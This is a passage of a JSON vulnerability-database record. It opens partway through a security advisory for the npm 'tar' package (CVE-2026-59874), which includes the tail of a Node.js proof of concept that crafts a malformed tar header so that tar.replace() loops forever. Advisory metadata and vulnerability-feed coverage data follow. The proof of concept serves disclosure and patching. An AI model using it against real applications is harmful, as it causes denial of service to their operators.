0xfe\n  h[135] = 0x00\n\n  oct(h, 0, 136, 12)\n  h.fill(0x20, 148, 156)\n  h[156] = 0x30\n  h.write('ustar\\0' + '00', 257, 8, 'binary')\n\n  let sum = 0\n  for (const c of h) sum += c\n  h.write(sum.toString(8).padStart(6, '0') + '\\0 ', 148, 8, 'ascii')\n\n  return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))\nconst file = path.join(dir, 'poc.tar')\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, 'add.txt'), 'x')\n\nconst r = spawnSync(\n  process.execPath,\n  [\n    '--input-type=module',\n    '-e',\n    `\n      import * as tar from 'tar'\n      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])\n      console.log('completed')\n    `,\n  ],\n  { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === 'ETIMEDOUT')\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.","state":0,"publishedAt":"2026-07-20T21:51:39+00:00","modifiedAt":"2026-09-10T03:51:11.2009049+00:00","affected":[{"ecosystem":"npm","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.5.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w","https://nvd.nist.gov/vuln/detail/CVE-2026-59874","https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","https://github.com/isaacs/node-tar","https://github.com/isaacs/node-tar/releases/tag/v7.5.18"],"sourceUrl":"https://github.com/advisories/GHSA-8x88-c5mf-7j5w","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8x88-c5mf-7j5w","identifiers":["GHSA-8x88-c5mf-7j5w","CVE-2026-59874"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T23:52:10.3428942+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T23:52:10.3428942+00:00","lastSuccessAt":"2026-11-07T23:52:10.4962556+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.4962564+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-4474bb92c2a774a75951ed5f5d46b90c1a6393fff32322d0d575a848c86873e1","complete":true,"records":420948,"lastAttemptAt":"2026-11-07T23:52:09.9807189+00:00","lastSuccessAt":"2026-11-07T23:52:09.9214893+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:09.9807189+00:00","snapshotPublishedAt":"2026-11-07T23:17:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-54671eaf115b4f51b5fcc9d94d4f5112","complete":false,"records":13633,"lastAttemptAt":"2026-11-08T00:04:29.6150856+00:00","lastSuccessAt":"2026-11-08T00:04:29.611+00:00","error":null,"lastVerifiedAt":"2026-11-08T00:04:29.611+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13223,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T23:52:10.3428942+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T23:52:10.3428942+00:00","lastSuccessAt":"2026-11-07T23:52:10.4970105+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.4970107+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e64bfc6907824f2697ea9827319d3421","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T23:52:35.6046822+00:00","lastSuccessAt":"2026-11-07T23:52:35.601+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:35.601+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T23:52:10.3021918+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.3021918+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T23:52:10.0238686+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.0238686+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T23:52:10.313959+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.313959+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T23:52:10.1936208+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T23:52:10.1936208+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}